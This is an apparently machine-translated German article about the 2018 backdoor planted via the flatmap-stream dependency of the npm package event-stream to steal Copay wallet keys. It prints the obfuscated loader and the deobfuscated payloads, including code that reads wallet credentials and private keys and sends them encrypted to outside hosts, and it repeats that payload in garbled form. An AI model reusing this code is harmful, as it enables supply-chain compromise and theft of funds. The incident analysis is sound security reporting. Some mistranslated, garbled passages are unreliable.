Backdoor in einer der Abhängigkeiten der EventStream-Bibliothek



Wöchentlich werden über 1,9 Millionen Exemplare der EventStream- Bibliothek aus dem NPM-Repository heruntergeladen. Es wird in vielen großen Projekten für die einfache und bequeme Arbeit mit Streams in Node.JS verwendet. Diese Bibliothek verarbeitet unter anderem auch Streams in der beliebten Copay-Krypto-Brieftasche (dazu später mehr).

Am 21. November 2018 passierte etwas Seltsames. Der GitHub-Benutzer @FallingSnow berichtete, dass eine der Event-Stream-Abhängigkeiten bösartigen Code versteckt hat, der tatsächlich eine Hintertür unbekannter Funktionalität darstellt.

Die Benutzer begannen herauszufinden, woher dieser Schadcode stammte. Dies ist eine sehr interessante und lehrreiche Geschichte. Leider kann dies langfristige Konsequenzen für viele Open-Source-Projekte haben.

Die Untersuchung hat also begonnen. Dank der Historie der Commits auf GitHub wurde sofort klar, dass der böswillige Benutzer von einem anderen Benutzer @ right9ctrl erstellt wurde, dem die Rechte des Betreuers für den Ereignisstrom gewährt wurden . Er hat eine Reihe von normalen Verpflichtungen auf seinem Konto, und der Projektautor Dominic Carr ( @dominictarr ) hat ihm die Rechte des Betreuers übertragen.

Warum hat der Autor die Rechte des Betreuers auf einen völlig Fremden übertragen? Dominic selbst sagt, dass er eine Last ist, sich an dem Projekt zu beteiligen. Siehe die ausführliche Begründung für diesen Vorfall: Der Autor schreibt, dass er das Projekt im Allgemeinen zum Vergnügen erstellt hat und nicht glaubte, dass seine Unterstützung so viel Zeit in Anspruch nehmen würde, und dass die Bibliothek selbst an so vielen ernsthaften Programmen beteiligt war. Er befreit sich nicht von der Schuld an dem Vorfall, sagt aber, dass das Open-Source-Projekt nicht sein „Eigentum“ ist, sondern gemeinfrei, sodass auch alle anderen für das, was passiert ist, verantwortlich sind. Warum hat schließlich keiner der normalen Menschen die Rechte des Betreuers übernommen und die Commits geprüft?

Kehren wir zum erwähnten @ right9ctrl-Commit zurück. Der Trick ist, dass er den Backdoor-Code nicht direkt in die event-stream Bibliothek eingefügt hat , sondern nur die Abhängigkeit von einem anderen Flatmap-Stream- Paket eingefügt hat . Bereits darin wurde unter dem Deckmantel eines Testdatensatzes (test / data.js) in einer der Variablen ein Schadcode mit folgendem Inhalt übertragen:

Hintertür
 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; // npm_package_description = process['env']['npm_package_description']; npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key) // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

Nach dem „Dekodieren“ der Variablen n Bild klarer .

Erster Start
 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

Zweite Stufe
 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To n2wIDAQAB \\ \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

Nach der Deobfuscation wurde die Backdoor-Funktionalität klar . Es stellte sich heraus, dass es nur erfolgreich funktioniert, wenn sich eine Copay-Krypto-Brieftasche im System befindet ( copay-dash Paket). In diesem Fall werden die privaten Geldbörsen der Benutzer kopiert und an IP-Adressen in Malaysia gesendet.

Copay-Entwickler führten eine Untersuchung durch und stellten fest, dass die Hintertür abhängig von den Wallet-Versionen von 5.0.2 auf 5.1.0, dh auf die neueste Version, abfiel. Am 27. November 2018 veröffentlichten sie umgehend eine aktualisierte Version 5.2.0.

Der Angreifer @ right9ctrl fügte nicht nur eine Hintertür hinzu, sondern versuchte auch, seine Spuren zu verwischen. Drei Tage später entfernte er den Schadcode aus dem flatmap-stream Repository, aktualisierte die Versionsnummer und löschte den alten aus NPM. So gibt es in der neuesten Version des Pakets keine Hintertür, aber es wurden bereits Zehntausende von Autos verkauft, was das Ziel war. Diese Methode erwies sich als sehr erfolgreich, da die Hintertür nicht sofort entdeckt wurde.

Es ist noch nicht genau bekannt, wie viel Geld der Angreifer verdient hat, aber dieser Angriff zeigt die hauptsächliche Wirksamkeit der Methode zur Einführung von Hintertüren in Open-Source-Projekte. Offensichtlich ist dies nicht der letzte derartige Fall. Dies wird auch von Dominic Carr, dem Autor der betroffenen EventStream-Bibliothek, geschrieben: „Es werden wahrscheinlich viele andere Module in Ihren Abhängigkeitsbäumen vorhanden sein, die jetzt eine Belastung für ihre Autoren darstellen.“ Diese „belastenden“ Module können wie in diesem Fall auf andere Betreuer übertragen werden Fall oder sogar für Geld verkauft. Da Abhängigkeiten in Hunderte und Tausende von Programmen eingebettet sind, können einige der kleinsten Module zu großen Problemen führen.

Warum überträgt der Autor des Programms die Kontrolle darüber an einen völlig Fremden?

"Wenn das keinen Spaß mehr macht, bekommt man buchstäblich nichts davon, das beliebte Paket zu unterstützen", sagt Dominic Carr. - Deshalb befinden wir uns jetzt in einem seltsamen Tal, in dem Sie eine Reihe von Abhängigkeiten haben, die von denen unterstützt werden, die das Interesse verloren haben oder sogar zu verblassen beginnen und die sie selbst nicht mehr benutzen . Sie können den Code problemlos freigeben, aber niemand möchte die Verantwortung für die Pflege dieses Codes teilen. "So wie ein Modul wie ein Teil eines digitalen Eigentums aussieht, ein Recht, das übertragen werden kann, aber Sie keinen Nutzen daraus ziehen, es zu besitzen, zum Beispiel die Fähigkeit, es zu verkaufen oder zu leasen, behalten Sie dennoch die Verantwortung."

Was ist der Ausweg aus dieser Situation für Benutzer freier Software? Carr glaubt, dass er entweder den Autor bezahlt oder sich aktiv am Projekt beteiligt.





Source: https://habr.com/ru/post/de431204/


All Articles